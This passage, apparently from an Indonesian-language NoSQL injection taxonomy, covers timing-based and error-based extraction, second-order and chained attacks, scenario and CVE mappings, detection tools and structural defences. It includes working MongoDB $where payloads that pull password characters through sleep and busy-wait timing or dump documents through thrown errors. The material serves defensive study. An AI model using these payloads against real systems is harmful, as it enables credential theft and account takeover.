SubtipeMekanismeContoh PayloadKondisi Kunci
sleep() LangsungFungsi sleep() MongoDB dalam $where menyebabkan penundaan yang dapat diukur saat titik injeksi tercapai.{"$where":"sleep(5000)"}Mengkonfirmasi injeksi ada; SSJI diaktifkan
sleep() Bersyaratsleep() dipicu hanya ketika kondisi yang bergantung pada data benar.{"$where":"if(this.password[0]=='a'){sleep(5000)}"}Ekstraksi per karakter melalui timing
Busy-Wait LoopWhile-loop JavaScript yang memeriksa new Date() memberikan timing yang lebih portabel dibandingkan sleep().function(x){var w=new Date(new Date().getTime()+5000);while(x.password[0]==='a'&&w>new Date()){}}(this)Lingkungan di mana sleep() tidak tersedia
Heavy ComputationOperasi CPU-intensif (backtracking regex, loop besar) menyebabkan penundaan yang dapat diukur tanpa fungsi sleep eksplisit.{"$where":"var i=0;while(i<1000000){i++};return this.x=='a'"}sleep() dinonaktifkan tetapi eksekusi JS diizinkan
N1QL TimingQuery bertumpuk dengan operasi CPU-intensif di Couchbase menyebabkan penundaan yang dapat terdeteksi.SELECT bertumpuk dengan operasi ENCODE_JSON yang kompleksDeployment Couchbase dengan N1QL

§8-3. Ekstraksi Berbasis Error

Error yang sengaja dipicu yang menyertakan data dalam pesan error.

SubtipeMekanismeContoh PayloadKondisi Kunci
throw new Error()Throw JavaScript dalam $where menyertakan data dokumen yang diserialisasi dalam pesan error.{"$where":"throw new Error(JSON.stringify(this))"}Pesan error dikembalikan ke klien; mode debug
Type Coercion ErrorMemaksa error tipe yang menyertakan nilai yang sedang dikonversi dalam pesan error.Fungsi Date() Cypher dengan data non-tanggalVerbositas error diaktifkan
Syntax Error FingerprintingMenyuntikkan error sintaks untuk mengidentifikasi tipe dan versi mesin database dari format pesan error.'"\{ ;Foo} Foo \xYZ`Pesan error tidak sepenuhnya ditekan

§9. Serangan Second-Order dan Chained

Payload injeksi NoSQL mungkin tidak dieksekusi segera setelah injeksi, tetapi tetap tersimpan hingga dipicu oleh operasi berikutnya.

§9-1. Eksekusi Payload Tersimpan

SubtipeMekanismeKondisi Kunci
Second-Order InjectionInput berbahaya disimpan dalam database dan kemudian digunakan dalam query oleh bagian aplikasi yang berbeda tanpa sanitasi. Misalnya, username yang mengandung {"$ne":""} disimpan saat registrasi, kemudian digunakan tanpa sanitasi dalam query pencarian.Jalur kode yang berbeda untuk penyimpanan vs. pengambilan/penggunaan
Deferred ProcessingInput yang dimasukkan ke dalam antrian untuk pemrosesan latar belakang (antrian pekerjaan, operasi batch) kemudian digunakan dalam query database tanpa validasi ulang.Pipeline pemrosesan asinkron
Cross-Service InjectionData berbahaya yang disimpan oleh satu microservice dikonsumsi oleh layanan lain yang mempercayai data internal dan tidak mensanitasinya sebelum digunakan dalam query.Arsitektur microservice dengan database bersama

§9-2. Eskalasi Rantai Injeksi

SubtipeRantaiDampak
NoSQLi → Authentication Bypass → Account TakeoverInjeksi operator pada login → akses sebagai admin → kompromi aplikasi penuhAuthentication bypass yang dieskalasi ke akses penuh
NoSQLi → Token Extraction → Password Reset HijackEkstraksi blind token reset password atau rahasia 2FA → pengambilalihan akun tanpa kredensialEkstraksi data blind yang dieskalasi ke pengambilalihan akun
SSRF → Redis → RCEKerentanan SSRF menjangkau layanan Redis → injeksi skrip Lua → eksekusi perintah di host RedisChaining tingkat protokol
NoSQLi → Aggregation → Cross-Collection Read → Privilege EscalationInjeksi operator dalam find() → pivot ke aggregation pipeline → $lookup pada koleksi admin → ekstrak kredensial adminEskalasi tingkat query ke dampak tingkat data
NoSQLi → $merge → Data TamperingInjeksi aggregation pipeline → $merge untuk menimpa peran/izin pengguna dalam koleksi targetInjeksi tingkat baca yang dieskalasi ke dampak tingkat write
Prototype Pollution → NoSQLiPrototype pollution mengatur Object.prototype.$gt = "" → semua query berikutnya menyertakan operator implisit → bypass universalMemerlukan kerentanan prototype pollution terpisah

Pemetaan Skenario Serangan (Sumbu 3)

SkenarioArsitektur / KondisiKategori Mutasi Utama
Authentication BypassForm login yang meneruskan input pengguna ke find() atau findOne() tanpa validasi tipe§1-1 + §1-2 + §6-1
Blind Data ExfiltrationTidak ada output data langsung; memerlukan ekstraksi karakter berbasis oracle§1-2 + §3-1 + §8-1 + §8-2
Direct Data LeakageAplikasi mengembalikan hasil query atau pesan error yang berisi data§4-1 + §5-1 + §8-3
Remote Code ExecutionJavaScript sisi server diaktifkan; konteks SSJI dapat dicapai§3 + §5-6 (Redis Lua)
Cross-Collection Data AccessTitik injeksi aggregation pipeline ada§4-1 + §4-3
Data Modification / DestructionIzin write; operasi agregasi atau write langsung dapat diakses§4-2 + §5-2 (Cypher DELETE) + §5-6 (Redis FLUSHALL)
Server-Side Request ForgeryN1QL CURL diaktifkan; Redis dapat dijangkau melalui rantai SSRF§5-1 (N1QL CURL) + §5-6 (Gopher→Redis)
Denial of ServiceOperasi yang membutuhkan sumber daya intensif tersedia (backtracking regex, komputasi JS berat, query bertumpuk N1QL)§3-1 + §5-1 + §8-2
WAF / Filter BypassMiddleware keamanan diterapkan tetapi dapat dilewati§6-3 + §7-1 + §7-2
Account TakeoverMekanisme reset password atau 2FA menggunakan token yang dapat di-query§1-2 + §8-1 + §9-2

Pemetaan CVE / Bounty (2023–2025)

Kombinasi MutasiCVE / KasusDampak / Bounty
§7-1 (Mongoose $or nesting bypass)CVE-2025-23061 (Mongoose < 8.9.5)RCE melalui $where dalam populate().match(). Perbaikan tidak lengkap untuk CVE-2024-53900. CVSS 9.1
§7-1 (Mongoose populate().match())CVE-2024-53900 (Mongoose < 8.8.3)RCE melalui injeksi $where melalui fungsi populate().match()
§4-3 ($mergeCursors authorization bypass)CVE-2025-6713 (MongoDB Server < 8.0.7)Akses data tidak sah yang melewati RBAC dalam deployment tershard. CVSS 7.7
§1-1 (Injeksi operator pada reset password)CVE-2024-48573 (AquilaCMS ≤ 1.409.20)Reset password yang tidak terautentikasi untuk pengguna mana pun termasuk admin
§1-1 + §8-1 (Ekstraksi blind token reset)Rocket.Chat HackerOne #1130874Injeksi NoSQL blind post-auth yang membocorkan token reset password dan rahasia 2FA → pengambilalihan akun admin → RCE. Bounty $3.000+
§8-2 (Timing oracle pada selector yang tidak disanitasi)CVE-2023-28359 (Rocket.Chat)Ekstraksi data blind berbasis waktu melalui selector MongoDB yang tidak disanitasi
§5-1 (Injeksi N1QL di Sync Gateway)CVE-2019-9039 (Couchbase Sync Gateway)Injeksi pernyataan N1QL melalui parameter endpoint _all_docs
§5-5 (Skrip Elasticsearch)Beberapa CVE (Elasticsearch < 1.2)Eksekusi kode jarak jauh melalui skrip Groovy dalam query pencarian
§5-6 (Redis Lua sandbox escape)CVE-2022-24735 (Redis < 7.0.0/6.2.7)Eksekusi kode Lua arbitrer dengan hak istimewa yang ditingkatkan

Alat Deteksi

AlatCakupan TargetTeknik Inti
NoSQLMap (Python, open-source)MongoDB, CouchDB; Redis, Cassandra direncanakanInjeksi operator otomatis, eksploitasi konfigurasi default, dumping data
nosqli (Go CLI, open-source)MongoDB melalui endpoint HTTPUji injeksi berbasis error, boolean blind, dan timing
StealthNoSQL (CLI, open-source)MongoDB, CouchDBEnumerasi cerdas: penemuan otomatis database/koleksi/dokumen
N1QLMap (Python, open-source)Couchbase N1QLEksploitasi injeksi N1QL, ekstraksi data, SSRF melalui CURL
NoSQLi Scanner (ekstensi Burp Suite)MongoDB melalui HTTPPemindaian pasif/aktif untuk injeksi NoSQL dalam Burp Suite
Burp-NoSQLiScanner (ekstensi Burp Suite)MongoDB, NoSQL yang lebih luasDeteksi otomatis pola injeksi operator dan sintaks
NoSQLAttack (Python, open-source)MongoDBEksploitasi otomatis kelemahan konfigurasi default dan injeksi
mongoshake / mongo-sanitize (middleware Node.js)MongoDB (defensif)Menghapus kunci berawalan $ dan . dari input pengguna
express-mongo-sanitize (middleware Node.js)MongoDB (defensif)Mensanitasi req.body/query/params/headers; menghapus kunci operator
Mongoose sanitizeFilter (opsi ODM)MongoDB melalui Mongoose (defensif)Sanitasi filter query bawaan (diaktifkan melalui sanitizeFilter: true)

Ringkasan: Prinsip Inti

Properti Fundamental: Injeksi NoSQL ada karena database NoSQL menerima objek query terstruktur — bukan hanya string — sebagai parameter query. Dalam MongoDB, parameter query dapat berupa nilai skalar ("admin") atau ekspresi operator ({"$ne":""}), dan database menginterpretasikannya secara berbeda berdasarkan struktur. Desain ini, di mana bahasa query tertanam dalam format data (JSON), berarti bahwa input pengguna yang tidak divalidasi yang mencapai query dapat membawa logika query bersamanya. Berbeda dengan SQL, di mana batas injeksi selalu berupa parse string (keluar dari tanda kutip), injeksi NoSQL mengeksploitasi batas tipe (skalar vs. objek) yang tidak terlihat di tingkat string.

Mengapa Perbaikan Inkremental Gagal: Permukaan serangan injeksi NoSQL menolak patching inkremental karena tiga alasan struktural. Pertama, fragmentasi di berbagai mesin database berarti setiap perbaikan bersifat spesifik untuk mesin tersebut — mensanitasi operator MongoDB tidak berpengaruh pada injeksi Cypher atau injeksi perintah Redis. Kedua, permukaan injeksi baru muncul di setiap lapisan abstraksi: API query database, framework agregasi, ODM, middleware, parser parameter HTTP. Perbaikan di satu lapisan (misalnya express-mongo-sanitize) dapat dilewati dengan mengeksploitasi lapisan yang berbeda (misalnya content-type switching, prototype pollution, ODM-level populate().match()). Ketiga, nesting operator menciptakan peluang bypass rekursif — seperti yang didemonstrasikan oleh CVE-2025-23061, di mana sanitizer yang memeriksa hanya kunci tingkat atas dilewati dengan menestingkan $where di dalam $or. Setiap “perbaikan” yang menangani pola nesting tertentu menciptakan perlombaan baru antara defender yang menambahkan pemeriksaan kedalaman dan penyerang yang menemukan jalur nesting baru.

Solusi Struktural: Satu-satunya pertahanan yang dapat diandalkan adalah menegakkan batas tipe yang ketat antara input pengguna dan struktur query. Ini berarti: (1) tidak pernah meneruskan objek yang dikontrol pengguna langsung ke dalam query — selalu ekstrak nilai skalar dan bangun objek query di sisi server; (2) memvalidasi tipe input di batas API menggunakan validasi skema (Joi, Ajv, JSON Schema) yang menolak objek/array di mana skalar yang diharapkan; (3) menggunakan query yang diparameterisasi atau query builder yang secara struktural memisahkan nilai pengguna dari operator query; dan (4) menonaktifkan kemampuan yang tidak diperlukan (JavaScript sisi server melalui --noscripting, CURL dalam N1QL, skrip Groovy dalam Elasticsearch). Pertahanan harus beroperasi di tingkat sistem tipe, bukan tingkat pola string — menghapus karakter $ hanyalah solusi sementara; memastikan input pengguna tidak pernah dapat diinterpretasikan sebagai operator query adalah perbaikan struktural.


Referensi


Dokumen ini dibuat untuk tujuan penelitian keamanan defensif dan pemahaman kerentanan.